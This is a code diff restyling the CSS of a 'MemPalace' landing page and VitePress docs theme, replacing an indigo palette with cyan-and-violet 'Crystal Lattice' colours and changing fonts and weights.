--ice-dim: #b8c7d9;
|
||||
--ice-ghost: rgba(234, 244, 255, 0.56);
|
||||
--prism: #9ED8FF;
|
||||
--prism-core: #4AA3FF;
|
||||
--refract: #A8B5FF;
|
||||
--stellar: #F3E7B0;
|
||||
--ember: #E28A6B;
|
||||
--void: #080C18;
|
||||
--obsidian: #0F1524;
|
||||
--obsidian-2: #182033;
|
||||
--ink: #1C2640;
|
||||
--hair: rgba(56, 189, 248, 0.14);
|
||||
--hair-strong: rgba(56, 189, 248, 0.28);
|
||||
--ice: #DBE7F5;
|
||||
--ice-dim: #8B99B0;
|
||||
--ice-ghost: rgba(219, 231, 245, 0.56);
|
||||
--prism: #7DD3FC;
|
||||
--prism-core: #38BDF8;
|
||||
--refract: #A78BFA;
|
||||
--stellar: #FBBF24;
|
||||
--ember: #FF8B8B;
|
||||
|
||||
--f-display: "Cormorant Garamond", "Times New Roman", serif;
|
||||
--f-body: "Geist", ui-sans-serif, system-ui, sans-serif;
|
||||
--f-display: "Neue Machina", "Satoshi", sans-serif;
|
||||
--f-body: "Onest", ui-sans-serif, system-ui, sans-serif;
|
||||
--f-mono: "JetBrains Mono", ui-monospace, monospace;
|
||||
|
||||
--measure: 68ch;
|
||||
@@ -50,7 +50,7 @@ body.mempalace-active { overflow-x: hidden; }
|
||||
background: var(--void);
|
||||
color: var(--ice);
|
||||
font-family: var(--f-body);
|
||||
font-weight: 300;
|
||||
font-weight: 400;
|
||||
font-size: 16px;
|
||||
line-height: 1.6;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
@@ -60,16 +60,16 @@ body.mempalace-active { overflow-x: hidden; }
|
||||
position: relative;
|
||||
}
|
||||
.mempalace-landing * { box-sizing: border-box; }
|
||||
.mempalace-landing ::selection { background: var(--prism-core); color: var(--void); }
|
||||
.mempalace-landing ::selection { background: var(--prism-core); color: #080C18; }
|
||||
|
||||
.mempalace-landing::before {
|
||||
content: "";
|
||||
position: fixed; inset: 0;
|
||||
pointer-events: none;
|
||||
background:
|
||||
radial-gradient(80% 60% at 50% -10%, rgba(74,163,255,0.18), transparent 60%),
|
||||
radial-gradient(40% 40% at 85% 20%, rgba(168,181,255,0.08), transparent 70%),
|
||||
radial-gradient(50% 50% at 15% 80%, rgba(158,216,255,0.06), transparent 70%);
|
||||
radial-gradient(80% 60% at 50% -10%, rgba(56,189,248,0.18), transparent 60%),
|
||||
radial-gradient(40% 40% at 85% 20%, rgba(167,139,250,0.08), transparent 70%),
|
||||
radial-gradient(50% 50% at 15% 80%, rgba(125,211,252,0.06), transparent 70%);
|
||||
z-index: 0;
|
||||
}
|
||||
.mempalace-landing::after {
|
||||
@@ -153,7 +153,7 @@ body.mempalace-active { overflow-x: hidden; }
|
||||
line-height: 0.95;
|
||||
color: var(--ice);
|
||||
}
|
||||
.mempalace-landing .display em { font-style: italic; color: var(--prism); }
|
||||
.mempalace-landing .display em { font-style: italic; color: var(--prism-core); }
|
||||
.mempalace-landing .lede {
|
||||
font-family: var(--f-display);
|
||||
/* font-style: italic; */
|
||||
@@ -237,8 +237,11 @@ body.mempalace-active { overflow-x: hidden; }
|
||||
margin: 0 0 1.25rem;
|
||||
}
|
||||
.mempalace-landing .hero h1 .line { display: block; }
|
||||
.mempalace-landing .hero h1 .line-2 { font-style: italic; color: var(--prism); font-weight: 300; }
|
||||
.mempalace-landing .hero h1 .line-2 { font-style: normal; font-weight: 400; }
|
||||
.mempalace-landing .hero h1 .is-accent { font-style: italic; color: var(--prism-core); font-weight: 300; }
|
||||
.mempalace-landing .hero h1 .identity-white { color: #ffffff; }
|
||||
.mempalace-landing .hero .lede { margin-bottom: 0; }
|
||||
.mempalace-landing .hero .lede .mp-blue { color: var(--prism-core); font-weight: 500; }
|
||||
.mempalace-landing .hero-cta {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
|
||||
@@ -1,67 +1,73 @@
|
||||
/* ── MemPalace Custom Theme ──────────────────────────────────────────── */
|
||||
/* Deep indigo / cyan palette — evoking architectural grandeur */
|
||||
/* Crystal Lattice palette — crystalline cyan through deep blue-black */
|
||||
|
||||
:root {
|
||||
/* Brand palette */
|
||||
--mp-indigo: #4f46e5;
|
||||
--mp-indigo-light: #6366f1;
|
||||
--mp-indigo-dark: #3730a3;
|
||||
--mp-cyan: #06b6d4;
|
||||
--mp-cyan-light: #22d3ee;
|
||||
--mp-purple: #8b5cf6;
|
||||
--mp-purple-light: #a78bfa;
|
||||
--mp-emerald: #10b981;
|
||||
--mp-amber: #f59e0b;
|
||||
/* Crystal Lattice palette */
|
||||
--mp-bg: #080C18;
|
||||
--mp-surface: #0F1524;
|
||||
--mp-surface-high: #182033;
|
||||
--mp-border: #1C2640;
|
||||
--mp-border-soft: #121829;
|
||||
--mp-cyan: #7DD3FC;
|
||||
--mp-cyan-vivid: #38BDF8;
|
||||
--mp-ice: #DBE7F5;
|
||||
--mp-body: #CDD5E0;
|
||||
--mp-muted: #8B99B0;
|
||||
--mp-dim: #5B6B82;
|
||||
--mp-ok: #34D399;
|
||||
--mp-warn: #FBBF24;
|
||||
--mp-hot: #FF8B8B;
|
||||
--mp-violet: #A78BFA;
|
||||
|
||||
/* VitePress overrides */
|
||||
--vp-c-brand-1: var(--mp-indigo);
|
||||
--vp-c-brand-2: var(--mp-indigo-light);
|
||||
--vp-c-brand-3: var(--mp-purple);
|
||||
--vp-c-brand-soft: rgba(79, 70, 229, 0.14);
|
||||
--vp-c-brand-1: var(--mp-cyan-vivid);
|
||||
--vp-c-brand-2: var(--mp-cyan);
|
||||
--vp-c-brand-3: var(--mp-violet);
|
||||
--vp-c-brand-soft: rgba(56, 189, 248, 0.14);
|
||||
|
||||
--vp-font-family-base: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||
--vp-font-family-mono: 'JetBrains Mono', 'Fira Code', monospace;
|
||||
--vp-font-family-base: 'Onest', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
|
||||
--vp-font-family-mono: 'JetBrains Mono', monospace;
|
||||
|
||||
/* Home hero gradient */
|
||||
--vp-home-hero-name-color: transparent;
|
||||
--vp-home-hero-name-background: linear-gradient(135deg, var(--mp-indigo) 0%, var(--mp-cyan) 50%, var(--mp-purple) 100%);
|
||||
--vp-home-hero-image-background-image: linear-gradient(135deg, rgba(79, 70, 229, 0.25) 0%, rgba(6, 182, 212, 0.25) 50%, rgba(139, 92, 246, 0.15) 100%);
|
||||
--vp-home-hero-name-background: linear-gradient(135deg, var(--mp-ice) 0%, var(--mp-cyan-vivid) 60%, var(--mp-violet) 100%);
|
||||
--vp-home-hero-image-background-image: linear-gradient(135deg, rgba(56, 189, 248, 0.25) 0%, rgba(125, 211, 252, 0.2) 50%, rgba(167, 139, 250, 0.15) 100%);
|
||||
--vp-home-hero-image-filter: blur(56px);
|
||||
|
||||
/* Button colors */
|
||||
--vp-button-brand-border: transparent;
|
||||
--vp-button-brand-text: #ffffff;
|
||||
--vp-button-brand-bg: var(--mp-indigo);
|
||||
--vp-button-brand-text: #080C18;
|
||||
--vp-button-brand-bg: var(--mp-cyan-vivid);
|
||||
--vp-button-brand-hover-border: transparent;
|
||||
--vp-button-brand-hover-text: #ffffff;
|
||||
--vp-button-brand-hover-bg: var(--mp-indigo-light);
|
||||
--vp-button-brand-hover-text: #080C18;
|
||||
--vp-button-brand-hover-bg: var(--mp-cyan);
|
||||
|
||||
--vp-button-alt-border: rgba(79, 70, 229, 0.25);
|
||||
--vp-button-alt-text: var(--mp-indigo);
|
||||
--vp-button-alt-bg: rgba(79, 70, 229, 0.08);
|
||||
--vp-button-alt-hover-border: rgba(79, 70, 229, 0.4);
|
||||
--vp-button-alt-hover-text: var(--mp-indigo-dark);
|
||||
--vp-button-alt-hover-bg: rgba(79, 70, 229, 0.14);
|
||||
--vp-button-alt-border: rgba(56, 189, 248, 0.25);
|
||||
--vp-button-alt-text: var(--mp-cyan-vivid);
|
||||
--vp-button-alt-bg: rgba(56, 189, 248, 0.08);
|
||||
--vp-button-alt-hover-border: rgba(56, 189, 248, 0.4);
|
||||
--vp-button-alt-hover-text: var(--mp-cyan);
|
||||
--vp-button-alt-hover-bg: rgba(56, 189, 248, 0.14);
|
||||
}
|
||||
|
||||
/* Dark mode overrides */
|
||||
.dark {
|
||||
--vp-c-brand-1: var(--mp-cyan-light);
|
||||
--vp-c-brand-1: var(--mp-cyan-vivid);
|
||||
--vp-c-brand-2: var(--mp-cyan);
|
||||
--vp-c-brand-3: var(--mp-purple-light);
|
||||
--vp-c-brand-soft: rgba(6, 182, 212, 0.14);
|
||||
--vp-c-brand-3: var(--mp-violet);
|
||||
--vp-c-brand-soft: rgba(56, 189, 248, 0.14);
|
||||
|
||||
--vp-button-brand-bg: var(--mp-indigo-light);
|
||||
--vp-button-brand-hover-bg: var(--mp-indigo);
|
||||
--vp-button-brand-bg: var(--mp-cyan-vivid);
|
||||
--vp-button-brand-hover-bg: var(--mp-cyan);
|
||||
|
||||
--vp-button-alt-border: rgba(34, 211, 238, 0.25);
|
||||
--vp-button-alt-text: var(--mp-cyan-light);
|
||||
--vp-button-alt-bg: rgba(34, 211, 238, 0.08);
|
||||
--vp-button-alt-hover-border: rgba(34, 211, 238, 0.4);
|
||||
--vp-button-alt-border: rgba(56, 189, 248, 0.25);
|
||||
--vp-button-alt-text: var(--mp-cyan-vivid);
|
||||
--vp-button-alt-bg: rgba(56, 189, 248, 0.08);
|
||||
--vp-button-alt-hover-border: rgba(56, 189, 248, 0.4);
|
||||
--vp-button-alt-hover-text: var(--mp-cyan);
|
||||
--vp-button-alt-hover-bg: rgba(34, 211, 238, 0.14);
|
||||
--vp-button-alt-hover-bg: rgba(56, 189, 248, 0.14);
|
||||
|
||||
--vp-home-hero-image-background-image: linear-gradient(135deg, rgba(99, 102, 241, 0.3) 0%, rgba(6, 182, 212, 0.3) 50%, rgba(139, 92, 246, 0.2) 100%);
|
||||
--vp-home-hero-image-background-image: linear-gradient(135deg, rgba(56, 189, 248, 0.3) 0%, rgba(125, 211, 252, 0.2) 50%, rgba(167, 139, 250, 0.15) 100%);
|
||||
}
|
||||
|
||||
/* ── Hero section ───────────────────────────────────────────────────── */
|
||||
@@ -72,19 +78,22 @@
|
||||
}
|
||||
|
||||
.VPHero .name {
|
||||
font-weight: 700 !important;
|
||||
font-family: 'Neue Machina', 'Satoshi', sans-serif !important;
|
||||
font-weight: 500 !important;
|
||||
letter-spacing: -1.5px;
|
||||
}
|
||||
|
||||
.VPHero .text {
|
||||
font-family: 'Satoshi', 'Onest', sans-serif;
|
||||
font-weight: 500;
|
||||
background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-indigo-light) 100%);
|
||||
background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-cyan-vivid) 100%);
|
||||
-webkit-background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
background-clip: text;
|
||||
}
|
||||
|
||||
.dark .VPHero .text {
|
||||
background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-cyan-light) 100%);
|
||||
background: linear-gradient(135deg, var(--mp-ice) 0%, var(--mp-cyan-vivid) 100%);
|
||||
-webkit-background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
background-clip: text;
|
||||
@@ -99,16 +108,17 @@
|
||||
|
||||
.VPFeature:hover {
|
||||
transform: translateY(-4px);
|
||||
border-color: var(--mp-indigo);
|
||||
box-shadow: 0 12px 40px rgba(79, 70, 229, 0.12);
|
||||
border-color: var(--mp-cyan-vivid);
|
||||
box-shadow: 0 12px 40px rgba(56, 189, 248, 0.12);
|
||||
}
|
||||
|
||||
.dark .VPFeature:hover {
|
||||
border-color: var(--mp-cyan);
|
||||
box-shadow: 0 12px 40px rgba(6, 182, 212, 0.12);
|
||||
border-color: var(--mp-cyan-vivid);
|
||||
box-shadow: 0 12px 40px rgba(56, 189, 248, 0.12);
|
||||
}
|
||||
|
||||
.VPFeature .title {
|
||||
font-family: 'Satoshi', 'Onest', sans-serif;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
@@ -119,12 +129,12 @@
|
||||
}
|
||||
|
||||
.VPSidebar .VPSidebarItem.is-active .text {
|
||||
color: var(--mp-indigo) !important;
|
||||
color: var(--mp-cyan-vivid) !important;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.dark .VPSidebar .VPSidebarItem.is-active .text {
|
||||
color: var(--mp-cyan-light) !important;
|
||||
color: var(--mp-cyan-vivid) !important;
|
||||
}
|
||||
|
||||
/* ── Code blocks ────────────────────────────────────────────────────── */
|
||||
@@ -135,21 +145,21 @@
|
||||
}
|
||||
|
||||
.dark .vp-doc div[class*='language-'] {
|
||||
border-color: rgba(6, 182, 212, 0.15);
|
||||
border-color: rgba(56, 189, 248, 0.15);
|
||||
}
|
||||
|
||||
/* ── Custom containers ──────────────────────────────────────────────── */
|
||||
|
||||
.vp-doc .custom-block.tip {
|
||||
border-color: var(--mp-cyan);
|
||||
border-color: var(--mp-ok);
|
||||
}
|
||||
|
||||
.vp-doc .custom-block.warning {
|
||||
border-color: var(--mp-amber);
|
||||
border-color: var(--mp-warn);
|
||||
}
|
||||
|
||||
.vp-doc .custom-block.info {
|
||||
border-color: var(--mp-indigo);
|
||||
border-color: var(--mp-cyan-vivid);
|
||||
}
|
||||
|
||||
/* ── Tables ─────────────────────────────────────────────────────────── */
|
||||
@@ -160,19 +170,20 @@
|
||||
}
|
||||
|
||||
.vp-doc th {
|
||||
background: rgba(79, 70, 229, 0.06);
|
||||
background: rgba(56, 189, 248, 0.06);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.dark .vp-doc th {
|
||||
background: rgba(6, 182, 212, 0.08);
|
||||
background: rgba(56, 189, 248, 0.08);
|
||||
}
|
||||
|
||||
/* ── Nav ────────────────────────────────────────────────────────────── */
|
||||
|
||||
.VPNavBar .VPNavBarTitle .title {
|
||||
font-weight: 700;
|
||||
letter-spacing: -0.01em;
|
||||
font-family: 'Neue Machina', 'Satoshi', sans-serif;
|
||||
font-weight: 500;
|
||||
letter-spacing: -0.4px;
|
||||
}
|
||||
|
||||
/* ── Footer ─────────────────────────────────────────────────────────── */
|
||||
@@ -193,11 +204,11 @@
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb:hover {
|
||||
background: var(--mp-indigo);
|
||||
background: var(--mp-cyan-vivid);
|
||||
}
|
||||
|
||||
.dark ::-webkit-scrollbar-thumb:hover {
|
||||
background: var(--mp-cyan);
|
||||
background: var(--mp-cyan-vivid);
|
||||
}
|
||||
|
||||
/* ── Smooth transitions ─────────────────────────────────────────────── */
|
||||
|
||||
Reference in New Issue
Block a user